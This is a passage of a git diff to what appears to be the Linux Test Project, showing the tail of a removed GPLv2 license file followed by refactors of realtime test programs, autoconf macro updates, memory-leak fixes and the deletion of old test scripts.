-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/realtime/configure.ac b/testcases/realtime/configure.ac
index e483caf..6f50f14 100644
--- a/testcases/realtime/configure.ac
+++ b/testcases/realtime/configure.ac
@@ -35,8 +35,8 @@
 	AC_MSG_RESULT(no)
 fi
 
-REALTIME_CHECK_PRIO_INHERIT
+AC_CHECK_LIB([m], [exp10], [AC_DEFINE([HAVE_EXP10], 1, [Define to 1 if you have exp10 function])])
 
-LTP_CHECK_EXP10
+REALTIME_CHECK_PRIO_INHERIT
 
 AC_OUTPUT
diff --git a/testcases/realtime/func/async_handler/async_handler_tsc.c b/testcases/realtime/func/async_handler/async_handler_tsc.c
index 7da4324..73d4ee5 100644
--- a/testcases/realtime/func/async_handler/async_handler_tsc.c
+++ b/testcases/realtime/func/async_handler/async_handler_tsc.c
@@ -46,7 +46,8 @@
 #include <pthread.h>
 #include <librttest.h>
 #include <libstats.h>
-#include <libtsc.h>
+
+#include "tst_tsc.h"
 
 #define HANDLER_PRIO 98
 #define SIGNAL_PRIO 99
diff --git a/testcases/realtime/func/hrtimer-prio/hrtimer-prio.c b/testcases/realtime/func/hrtimer-prio/hrtimer-prio.c
index 4ae49a7..cbc2343 100644
--- a/testcases/realtime/func/hrtimer-prio/hrtimer-prio.c
+++ b/testcases/realtime/func/hrtimer-prio/hrtimer-prio.c
@@ -76,9 +76,6 @@
 	printf
 	    ("  -f#	   #:rt fifo priority of busy threads (1,98), defaults to %d\n",
 	     DEF_MED_PRIO);
-	printf
-	    ("  -m#	   #:maximum timer latency in microseconds, defaults to %d\n",
-	     DEF_CRITERIA);
 }
 
 int parse_args(int c, char *v)
diff --git a/testcases/realtime/func/hrtimer-prio/run_auto.sh b/testcases/realtime/func/hrtimer-prio/run_auto.sh
index ec3d83a..e1c8f3a 100644
--- a/testcases/realtime/func/hrtimer-prio/run_auto.sh
+++ b/testcases/realtime/func/hrtimer-prio/run_auto.sh
@@ -2,6 +2,7 @@
 
 profile=${1:-default}
 
+cd $(dirname $0)
 if [ ! $SCRIPTS_DIR ]; then
         # assume we're running standalone
         export SCRIPTS_DIR=../../scripts/
diff --git a/testcases/realtime/func/matrix_mult/matrix_mult.c b/testcases/realtime/func/matrix_mult/matrix_mult.c
index 61ab887..e2a5562 100644
--- a/testcases/realtime/func/matrix_mult/matrix_mult.c
+++ b/testcases/realtime/func/matrix_mult/matrix_mult.c
@@ -1,40 +1,17 @@
-/******************************************************************************
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines  Corp., 2007, 2008
  *
- *   Copyright © International Business Machines  Corp., 2007, 2008
+ * Authors: Darren Hart <dvhltc@us.ibm.com>
+ *          Dinakar Guniguntala <dino@in.ibm.com>
+ */
+/*\
+ * [Description]
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * NAME
- *      matrix_mult.c
- *
- * DESCRIPTION
- *      Compare running sequential matrix multiplication routines
- *      to running them in parallel to judge mutliprocessor
- *      performance
- *
- * USAGE:
- *      Use run_auto.sh script in current directory to build and run test.
- *
- * AUTHOR
- *      Darren Hart <dvhltc@us.ibm.com>
- *
- * HISTORY
- *      2007-Mar-09:  Initial version by Darren Hart <dvhltc@us.ibm.com>
- *      2008-Feb-26:  Closely emulate jvm Dinakar Guniguntala <dino@in.ibm.com>
- *
- *****************************************************************************/
+ * Compare running sequential matrix multiplication routines
+ * to running them in parallel to judge multiprocessor
+ * performance
+ */
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -69,9 +46,14 @@
 stats_container_t sdat, cdat, *curdat;
 stats_container_t shist, chist;
 static pthread_barrier_t mult_start;
-static pthread_mutex_t mutex_cpu;
 
-void usage(void)
+struct matrices {
+	double A[MATRIX_SIZE][MATRIX_SIZE];
+	double B[MATRIX_SIZE][MATRIX_SIZE];
+	double C[MATRIX_SIZE][MATRIX_SIZE];
+};
+
+static void usage(void)
 {
 	rt_help();
 	printf("matrix_mult specific options:\n");
@@ -80,7 +62,7 @@
 	printf("  -i#	   #: number of iterations\n");
 }
 
-int parse_args(int c, char *v)
+static int parse_args(int c, char *v)
 {
 	int handled = 1;
 	switch (c) {
@@ -100,7 +82,7 @@
 	return handled;
 }
 
-void matrix_init(double A[MATRIX_SIZE][MATRIX_SIZE],
+static void matrix_init(double A[MATRIX_SIZE][MATRIX_SIZE],
 		 double B[MATRIX_SIZE][MATRIX_SIZE])
 {
 	int i, j;
@@ -112,41 +94,39 @@
 	}
 }
 
-void matrix_mult(int m_size)
+static void matrix_mult(struct matrices *matrices)
 {
-	double A[m_size][m_size];
-	double B[m_size][m_size];
-	double C[m_size][m_size];
 	int i, j, k;
 
-	matrix_init(A, B);
-	for (i = 0; i < m_size; i++) {
-		int i_m = m_size - i;
-		for (j = 0; j < m_size; j++) {
-			double sum = A[i_m][j] * B[j][i];
-			for (k = 0; k < m_size; k++)
-				sum += A[i_m][k] * B[k][j];
-			C[i][j] = sum;
+	matrix_init(matrices->A, matrices->B);
+	for (i = 0; i < MATRIX_SIZE; i++) {
+		int i_m = MATRIX_SIZE - i;
+		for (j = 0; j < MATRIX_SIZE; j++) {
+			double sum = matrices->A[i_m][j] *  matrices->B[j][i];
+			for (k = 0; k < MATRIX_SIZE; k++)
+				sum +=  matrices->A[i_m][k] *  matrices->B[k][j];
+			 matrices->C[i][j] = sum;
 		}
 	}
 }
 
-void matrix_mult_record(int m_size, int index)
+static void matrix_mult_record(struct matrices *matrices, int index)
 {
 	nsec_t start, end, delta;
 	int i;
 
 	start = rt_gettime();
 	for (i = 0; i < ops; i++)
-		matrix_mult(MATRIX_SIZE);
+		matrix_mult(matrices);
 	end = rt_gettime();
 	delta = (long)((end - start) / NS_PER_US);
 	curdat->records[index].x = index;
 	curdat->records[index].y = delta;
 }
 
-int set_affinity(void)
+static int set_affinity(void)
 {
+	static pthread_mutex_t mutex_cpu = PTHREAD_MUTEX_INITIALIZER;
 	cpu_set_t mask;
 	int cpuid;
 
@@ -166,9 +146,10 @@
 	return -1;
 }
 
-void *concurrent_thread(void *thread)
+static void *concurrent_thread(void *thread)
 {
 	struct thread *t = (struct thread *)thread;
+	struct matrices *matrices = (struct matrices *) t->arg;
 	int thread_id = (intptr_t) t->id;
 	int cpuid;
 	int i;
@@ -183,18 +164,22 @@
 	index = iterations_percpu * thread_id;	/* To avoid stats overlapping */
 	pthread_barrier_wait(&mult_start);
 	for (i = 0; i < iterations_percpu; i++)
-		matrix_mult_record(MATRIX_SIZE, index++);
+		matrix_mult_record(matrices, index++);
 
 	return NULL;
 }
 
-void main_thread(void)
+static int main_thread(void)
 {
 	int ret, i, j;
 	nsec_t start, end;
 	long smin = 0, smax = 0, cmin = 0, cmax = 0, delta = 0;
 	float savg, cavg;
 	int cpuid;
+	struct matrices *matrices[numcpus];
+
+	for (i = 0; i < numcpus; ++i)
+		matrices[i] = malloc(sizeof(struct matrices));
 
 	if (stats_container_init(&sdat, iterations) ||
 	    stats_container_init(&shist, HIST_BUCKETS) ||
@@ -205,12 +190,11 @@
 		exit(1);
 	}
 
-	tids = malloc(sizeof(int) * numcpus);
+	tids = calloc(numcpus, sizeof(int));
 	if (!tids) {
 		perror("malloc");
 		exit(1);
 	}
-	memset(tids, 0, numcpus);
 
 	cpuid = set_affinity();
 	if (cpuid == -1) {
@@ -224,7 +208,7 @@
 	printf("\nRunning sequential operations\n");
 	start = rt_gettime();
 	for (i = 0; i < iterations; i++)
-		matrix_mult_record(MATRIX_SIZE, i);
+		matrix_mult_record(matrices[0], i);
 	end = rt_gettime();
 	delta = (long)((end - start) / NS_PER_US);
 
@@ -256,7 +240,7 @@
 	online_cpu_id = -1;	/* Redispatch cpus */
 	/* Create numcpus-1 concurrent threads */
 	for (j = 0; j < numcpus; j++) {
-		tids[j] = create_fifo_thread(concurrent_thread, NULL, PRIO);
+		tids[j] = create_fifo_thread(concurrent_thread, matrices[j], PRIO);
 		if (tids[j] == -1) {
 			printf
 			    ("Thread creation failed (max threads exceeded?)\n");
@@ -308,7 +292,10 @@
 	     criteria);
 	printf("Result: %s\n", ret ? "FAIL" : "PASS");
 
-	return;
+	for (i = 0; i < numcpus; i++)
+		free(matrices[i]);
+
+	return ret;
 }
 
 int main(int argc, char *argv[])
@@ -319,7 +306,7 @@
 	numcpus = sysconf(_SC_NPROCESSORS_ONLN);
 	/* the minimum avg concurrent multiplier to pass */
 	criteria = pass_criteria * numcpus;
-	int new_iterations;
+	int new_iterations, ret;
 
 	if (iterations <= 0) {
 		fprintf(stderr, "iterations must be greater than zero\n");
@@ -348,7 +335,7 @@
 	printf("Number of CPUs: %u\n", numcpus);
 
 	set_priority(PRIO);
-	main_thread();
+	ret = main_thread();
 
-	return 0;
+	return ret;
 }
diff --git a/testcases/realtime/func/measurement/preempt_timing.c b/testcases/realtime/func/measurement/preempt_timing.c
index 8b53334..b84d546 100644
--- a/testcases/realtime/func/measurement/preempt_timing.c
+++ b/testcases/realtime/func/measurement/preempt_timing.c
@@ -52,7 +52,8 @@
 #include <sys/mman.h>
 #include <stdint.h>
 #include <librttest.h>
-#include <libtsc.h>
+
+#include "tst_tsc.h"
 
 #define ITERATIONS 1000000ULL
 #define INTERVALS 10
diff --git a/testcases/realtime/func/measurement/rdtsc-latency.c b/testcases/realtime/func/measurement/rdtsc-latency.c
index d6ab89f..3829947 100644
--- a/testcases/realtime/func/measurement/rdtsc-latency.c
+++ b/testcases/realtime/func/measurement/rdtsc-latency.c
@@ -44,7 +44,8 @@
 #include <errno.h>
 #include <stdint.h>
 #include <librttest.h>
-#include <libtsc.h>
+
+#include "tst_tsc.h"
 
 #define ITERATIONS 1000000
 
diff --git a/testcases/realtime/func/rt-migrate/rt-migrate.c b/testcases/realtime/func/rt-migrate/rt-migrate.c
index 27872e0..97ab604 100644
--- a/testcases/realtime/func/rt-migrate/rt-migrate.c
+++ b/testcases/realtime/func/rt-migrate/rt-migrate.c
@@ -394,7 +394,7 @@
 
 int main(int argc, char **argv)
 {
-	pthread_t *threads;
+	int *threads;
 	long i;
 	int ret;
 	struct timespec intv;
@@ -462,8 +462,7 @@
 	memset(&param, 0, sizeof(param));
 	param.sched_priority = nr_tasks + prio_start;
 	if (sched_setscheduler(0, SCHED_FIFO, &param))
-		debug(DBG_WARN, "Warning, can't set priority of"
-		      "main thread !\n");
+		debug(DBG_WARN, "Warning, can't set priority of main thread!\n");
 	intv.tv_sec = INTERVAL / NS_PER_SEC;
 	intv.tv_nsec = INTERVAL % (1 * NS_PER_SEC);
 
diff --git a/testcases/realtime/include/librttest.h b/testcases/realtime/include/librttest.h
index b829f40..8e34218 100644
--- a/testcases/realtime/include/librttest.h
+++ b/testcases/realtime/include/librttest.h
@@ -58,8 +58,8 @@
 #include "list.h"
 #include "realtime_config.h"
 
-extern void setup();
-extern void cleanup();
+extern void setup(void);
+extern void cleanup(int i);
 
 extern int optind, opterr, optopt;
 extern char *optarg;
@@ -147,15 +147,15 @@
 
 /* buffer_init: initialize the buffered printing system
  */
-void buffer_init();
+void buffer_init(void);
 
 /* buffer_print: prints the contents of the buffer
  */
-void buffer_print();
+void buffer_print(void);
 
 /* buffer_fini: destroy the buffer
  */
-void buffer_fini();
+void buffer_fini(void);
 
 /* debug: do debug prints at level L (see DBG_* below).  If buffer_init
  * has been called previously, this will print to the internal memory
@@ -185,7 +185,7 @@
 #define DBG_DEBUG 4
 
 /* rt_help: print help for standard args */
-void rt_help();
+void rt_help(void);
 
 /* rt_init_long: initialize librttest
  * options: pass in an getopt style string of options -- e.g. "ab:cd::e:"
@@ -269,7 +269,7 @@
 /* join_threads: wait for all threads to finish
  * (calls all_threads_quit interally)
  */
-void join_threads();
+void join_threads(void);
 
 /* get_thread: return a struct thread pointer from the list */
 struct thread * get_thread(int i);
@@ -317,7 +317,7 @@
 
 /* rt_gettime: get CLOCK_MONOTONIC time in nanoseconds
  */
-nsec_t rt_gettime();
+nsec_t rt_gettime(void);
 
 /* busy_work_ms: do busy work for ms milliseconds
  */
diff --git a/testcases/realtime/include/libtsc.h b/testcases/realtime/include/libtsc.h
deleted file mode 100644
index 9ad5fd6..0000000
--- a/testcases/realtime/include/libtsc.h
+++ /dev/null
@@ -1,72 +0,0 @@
-/******************************************************************************
- *
- *   Copyright © International Business Machines  Corp., 2006-2008
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * NAME
- *       libtsc.h
- *
- * DESCRIPTION
- *
- * USAGE:
- *       To be included in some testcases.
- *
- * AUTHOR
- *        Darren Hart <dvhltc@us.ibm.com>
- *        Giuseppe Cavallaro <peppe.cavallarost.com>
- *
- * HISTORY
- *      It directly comes from the librttest.h (see its HISTORY).
- *
- *****************************************************************************/
-
-#undef TSC_UNSUPPORTED
-
-/* TSC macros */
-#if defined(__i386__)
-#define rdtscll(val) __asm__ __volatile__("rdtsc" : "=A" (val))
-#elif defined(__x86_64__)
-#define rdtscll(val)					\
-	do {						\
-		uint32_t low, high;			\
-		__asm__ __volatile__ ("rdtsc" : "=a" (low), "=d" (high)); \
-		val = (uint64_t)high << 32 | low;	\
-	} while (0)
-#elif defined(__powerpc__)
-#if defined(__powerpc64__)	/* 64bit version */
-#define rdtscll(val)					\
-	do {								\
-		__asm__ __volatile__ ("mfspr %0, 268" : "=r" (val));	\
-	} while (0)
-#else	/*__powerpc__ 32bit version */
-#define rdtscll(val)							\
-	 do {								\
-		uint32_t tbhi, tblo ;					\
-		__asm__ __volatile__ ("mftbu %0" : "=r" (tbhi));	\
-		__asm__ __volatile__ ("mftbl %0" : "=r" (tblo));	\
-		val = 1000 * ((uint64_t) tbhi << 32) | tblo;		\
-	} while (0)
-#endif
-#else
-#warning TSC UNSUPPORTED
-/* All tests will be compiled also for the
- * architecture without TSC support (e.g. SH).
- * At run-time these will fail with ENOTSUP.
- */
-#define rdtscll(val)	do {  } while (0)
-#define TSC_UNSUPPORTED
-#endif
-
diff --git a/testcases/realtime/lib/librttest.c b/testcases/realtime/lib/librttest.c
index 722d99d..eaa623b 100644
--- a/testcases/realtime/lib/librttest.c
+++ b/testcases/realtime/lib/librttest.c
@@ -226,6 +226,8 @@
 
 	calibrate_busyloop();
 
+	free(all_options);
+
 	/*
 	 * atexit() order matters here - buffer_print() will be called before
 	 * buffer_fini().
@@ -276,7 +278,7 @@
 		exit(i);
 }
 
-void setup()
+void setup(void)
 {
 	signal(SIGINT, cleanup);
 	signal(SIGQUIT, cleanup);
@@ -378,6 +380,7 @@
 		if (t->pthread)
 			pthread_join(t->pthread, NULL);
 		list_del(&t->_threads);
+		free(t);
 	}
 }
 
@@ -397,6 +400,7 @@
 		if (p->pthread)
 			pthread_join(p->pthread, NULL);
 		list_del(&p->_threads);
+		free(p);
 	}
 }
 
diff --git a/testcases/realtime/m4/check.m4 b/testcases/realtime/m4/check.m4
index e60ae19..d04a2cc 100644
--- a/testcases/realtime/m4/check.m4
+++ b/testcases/realtime/m4/check.m4
@@ -1,10 +1,10 @@
 AC_DEFUN([REALTIME_CHECK_PRIO_INHERIT],[
 AC_MSG_CHECKING([for PTHREAD_PRIO_INHERIT])
-AC_TRY_COMPILE([
-#include <pthread.h>],[int main(void) {
+AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
+#include <pthread.h>]], [[int main(void) {
 	pthread_mutexattr_t attr;
 	return pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT);
-}],[has_priority_inherit="yes"],[])
+}]])],[has_priority_inherit="yes"],[])
 if test "x$has_priority_inherit" = "xyes" ; then
 	AC_DEFINE(HAS_PRIORITY_INHERIT,1,[Define to 1 if you have PTHREAD_PRIO_INHERIT])
 	AC_MSG_RESULT(yes)
diff --git a/testcases/realtime/m4/ltp-exp10.m4 b/testcases/realtime/m4/ltp-exp10.m4
deleted file mode 100644
index 3d2320a..0000000
--- a/testcases/realtime/m4/ltp-exp10.m4
+++ /dev/null
@@ -1,37 +0,0 @@
-dnl
-dnl Copyright (c) Linux Test Project, 2014
-dnl
-dnl This program is free software;  you can redistribute it and/or modify
-dnl it under the terms of the GNU General Public License as published by
-dnl the Free Software Foundation; either version 2 of the License, or
-dnl (at your option) any later version.
-dnl
-dnl This program is distributed in the hope that it will be useful,
-dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
-dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-dnl the GNU General Public License for more details.
-dnl
-dnl You should have received a copy of the GNU General Public License
-dnl along with this program;  if not, write to the Free Software
-dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-dnl
-
-dnl
-dnl LTP_CHECK_EXP10
-dnl ---------------
-dnl
-AC_DEFUN([LTP_CHECK_EXP10],[
-AH_TEMPLATE(HAVE_EXP10,
-[Define to 1 if you have 'exp10' function.])
-AC_MSG_CHECKING([for exp10])
-backup_ldlibs="$LIBS"
-LIBS+=" -lm"
-AC_TRY_LINK([#define _GNU_SOURCE
-             #include <math.h>],
-            [
-             volatile float val;
-             exp10(val);
-            ],
-             AC_DEFINE(HAVE_EXP10) AC_MSG_RESULT(yes), AC_MSG_RESULT(no))
-LIBS="$backup_ldlibs"
-])
diff --git a/testcases/realtime/profiles/default b/testcases/realtime/profiles/default
index b0bb6b8..440096f 100644
--- a/testcases/realtime/profiles/default
+++ b/testcases/realtime/profiles/default
@@ -46,11 +46,15 @@
 # Default maxduration=0.5 s
 func/thread_clock		tc-2 -c 0.5
 
+# Pass if maximum timer latency is less than criterium (us).
+# Default latency=10 us
+func/hrtimer-prio       hrtimer-prio
+
 # The below tests have no pass/fail criterium.
 func/gtod_latency		gtod_latency
 func/sched_jitter		sched_jitter
-func/periodic_cpu_load		periodic_cpu_load
-func/periodic_cpu_load		periodic_cpu_load_single
+func/periodic_cpu_load	periodic_cpu_load
+func/periodic_cpu_load	periodic_cpu_load_single
 func/prio-wake			prio-wake
 func/sched_football		sched_football
 func/pi-tests			testpi-0
@@ -60,4 +64,4 @@
 func/pi-tests			testpi-5
 func/pi-tests			testpi-6
 func/pi-tests			sbrk_mutex
-func/rt-migrate                 rt-migrate
+func/rt-migrate         rt-migrate
diff --git a/testscripts/Makefile b/testscripts/Makefile
index 9bae489..f909487 100644
--- a/testscripts/Makefile
+++ b/testscripts/Makefile
@@ -1,24 +1,6 @@
-#
-#    testscripts Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, December 2009
-#
 
 top_srcdir		?= ..
 
diff --git a/testscripts/diskio.sh b/testscripts/diskio.sh
deleted file mode 100755
index 5d25030..0000000
--- a/testscripts/diskio.sh
+++ /dev/null
@@ -1,37 +0,0 @@
-#!/bin/sh
-# These tests require the corresponding media to be present:
-#
-#  stress_floppy: Requires a writeable HD floppy disk
-#
-#  stress_cd: Requires ANY data CD with a minimum of 100MB of data.
-#
-# NOTE: The stress_floppy test is easily modifiable for use on any
-#       write device, i.e. tape drive, zip drive....etc
-#
-
-cd `dirname $0`
-
-export LTPROOT=${PWD}
-echo $LTPROOT | grep testscripts > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- cd ..
- export LTPROOT=${PWD}
-fi
-
-export TMPDIR=/tmp
-
-mkdir /tmp/diskiopan-$$
-cd /tmp/diskiopan-$$
-
-export PATH="${PATH}:${LTPROOT}/testcases/bin"
-
-${LTPROOT}/ver_linux
-
-${LTPROOT}/bin/ltp-pan -e -l /tmp/diskiopan.log -S -a ltpdiskio -n ltpdiskio -f ${LTPROOT}/runtest/io_floppy -f ${LTPROOT}/runtest/io_cd
-
-if [ $? -eq "0" ]; then
-  echo ltp-pan reported PASS
-else
-  echo ltp-pan reported FAIL
-fi
-
diff --git a/testscripts/network.sh b/testscripts/network.sh
index 5cfeee8..15a4cc1 100755
--- a/testscripts/network.sh
+++ b/testscripts/network.sh
@@ -26,10 +26,9 @@
 	echo "  -6    IPv6 tests"
 	echo "  -m    multicast tests"
 	echo "  -n    NFS tests"
-	echo "  -r    RPC tests"
 	echo "  -s    SCTP tests"
 	echo "  -t    TCP/IP command tests"
-	echo "  -c    TI-RPC tests"
+	echo "  -c    RPC and TI-RPC tests"
 	echo "  -d    TS-RPC tests"
 	echo "  -a    Application stress tests (HTTP, SSH, DNS)"
 	echo "  -e    Interface stress tests"
@@ -56,7 +55,6 @@
 	6) TEST_CASES="$TEST_CASES net.ipv6 net.ipv6_lib";;
 	m) TEST_CASES="$TEST_CASES net.multicast";;
 	n) TEST_CASES="$TEST_CASES net.nfs";;
-	r) TEST_CASES="$TEST_CASES net.rpc";;
 	s) TEST_CASES="$TEST_CASES net.sctp";;
 	t) TEST_CASES="$TEST_CASES net.tcp_cmds";;
 	c) TEST_CASES="$TEST_CASES net.rpc_tests";;
diff --git a/testscripts/test_fs_bind.sh b/testscripts/test_fs_bind.sh
deleted file mode 100755
index d06564d..0000000
--- a/testscripts/test_fs_bind.sh
+++ /dev/null
@@ -1,526 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Authors: Avantika Mathur (mathurav@us.ibm.com)
-#          Matt Helsley (matthltc@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-if tst_kvcmp -lt "2.6.15"; then
-       tst_resm TCONF "System kernel version is less than 2.6.15"
-       tst_resm TCONF "Cannot execute test"
-       exit 0
-fi
-
-test_setup()
-{
-	#######################################################################
-	## Configure
-	#######################################################################
-	dopts='-dEBb'
-
-	## Remove logged test state depending on results. 0 means do not remove,
-	## 1 means OK to remove.
-	# rm saved state from tests that appear to have cleaned up properly?
-	rm_ok=1
-	# rm saved state from tests that don't appear to have fully cleaned up?
-	rm_err=0
-
-	#######################################################################
-	## Initialize some variables
-	#######################################################################
-	TCID="$0"
-	TST_COUNT=0
-
-	test_dirs=( move bind rbind regression )  #cloneNS
-	nfailed=0
-	nsucceeded=0
-
-	# set the LTPROOT directory
-	cd `dirname $0`
